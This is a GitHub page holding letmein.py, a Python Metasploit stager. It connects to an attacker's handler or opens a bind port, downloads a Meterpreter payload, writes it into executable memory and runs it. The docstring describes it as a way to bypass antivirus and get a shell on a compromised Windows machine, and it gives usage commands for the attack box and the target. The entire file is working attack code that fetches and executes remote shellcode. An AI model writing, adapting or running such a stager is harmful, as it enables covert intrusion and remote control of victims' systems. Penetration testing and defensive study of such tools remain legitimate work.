Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
239 lines (195 sloc) 6.17 KB
#!/usr/bin/env python3
"""
letmein.py 0.1 - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <raptor@0xdeadbeef.info>
"The Other Way to Pen-Test" --HD Moore & Valsmith
Letmein is a pure Python 3 implementation of the staging
protocol used by the Metasploit Framework. Just start an
exploit/multi/handler (Generic Payload Handler) instance
on your attack box with either a reverse_tcp or bind_tcp
Meterpreter payload, then run letmein (ideally converted
to EXE format) on a compromised Windows box and wait for
your session.
This technique is quite effective in order to bypass the
antivirus and obtain a Meterpreter shell on Windows.
This script is only a proof of concept. In this specific
case, Python may not be the best choice available (hint:
try C or PowerShell instead;).
Based on:
https://github.com/rsmudge/metasploit-loader
Requirements:
Python 3 (https://pythonclock.org/ is ticking...)
Tested with the following payloads:
windows/meterpreter/reverse_tcp (Python 32-bit only)
windows/meterpreter/bind_tcp (Python 32-bit only)
windows/x64/meterpreter/reverse_tcp (Python 64-bit only)
windows/x64/meterpreter/bind_tcp (Python 64-bit only)
Example usage:
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST x.x.x.x
msf > exploit
[on the target system]
C:\> python letmein.py -r x.x.x.x
TODO:
Test 32-bit/64-bit EXE on different Windows versions
Use "from <module> import <function>" to reduce size
Implement support for Meterpreter Paranoid Mode
Implement support for other payloads
Python 2 compatibility (implement a custom int.to_bytes)
Get the latest version at:
https://github.com/0xdea/tactical-exploitation/
"""
VERSION = "0.1"
BANNER = """
letmein.py {0} - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <raptor@0xdeadbeef.info>
""".format(VERSION)
import sys
import argparse
import socket
import struct
import ctypes
def reverse_tcp(args):
"""
Payload handler for reverse_tcp
"""
host = args.r
port = args.p
socket.setdefaulttimeout(args.t)
# connect to reverse_tcp exploit/multi/handler
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
letmein(s)
def bind_tcp(args):
"""
Payload handler for bind_tcp
"""
port = args.p
# open a port for bind_tcp exploit/multi/handler
b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
b.bind(("0.0.0.0", port))
b.listen(1)
s, a = b.accept()
letmein(s)
def letmein(s):
"""
Metasploit staging protocol handler
"""
# get 4-byte payload length
l = struct.unpack("@I", s.recv(4))[0]
# download payload
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
# prepend some asm to mov the socket descriptor into edi
# mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit)
d = bytearray(
b"\xbf"
+ s.fileno().to_bytes(4, byteorder="little")
+ d)
# mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit)
# based on my tests, this doesn't seem to be necessary for x64
"""
d = bytearray(
b"\x48\xbf"
+ s.fileno().to_bytes(8, byteorder="little")
+ d)
"""
# allocate a RWX memory region
# VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(d)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# copy the shellcode
buf = (ctypes.c_char * len(d)).from_buffer(d)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(d)))
# execute the shellcode
ptr_f = ctypes.cast(ptr, ctypes.CFUNCTYPE(ctypes.c_void_p))
ptr_f()
# execute the shellcode, a possible variant by Debasish Mandal
# see http://www.debasish.in/2012/04/execute-shellcode-using-python.html
"""
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(ht),
ctypes.c_int(-1))
"""
def get_args():
"""
Get command line arguments
"""
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
title="commands",
help="choose payload type")
# reverse_tcp subparser
parser_reverse_tcp = subparsers.add_parser(
"reverse_tcp",
help="reverse_tcp payload")
parser_reverse_tcp.set_defaults(func=reverse_tcp)
# reverse_tcp arguments
parser_reverse_tcp.add_argument(
"-r",
metavar="HOST",
required=True,
help="specify target hostname or IP address")
parser_reverse_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")
parser_reverse_tcp.add_argument(
"-t",
metavar="TIMEOUT",
type=int,
default=10,
help="specify timeout in seconds (default: 10)")
# bind_tcp subparser
parser_bind_tcp = subparsers.add_parser(
"bind_tcp",
help="bind_tcp payload")
parser_bind_tcp.set_defaults(func=bind_tcp)
# bind_tcp arguments
parser_bind_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(0)
return parser.parse_args()
def main():
"""
Main function
"""
print(BANNER)
if sys.version_info[0] != 3:
print("// error: this script requires python 3")
sys.exit(1)
args = get_args()
try:
args.func(args)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except Exception as err:
print("// error: {0}".format(err))
sys.exit(1)
if __name__ == "__main__":
main()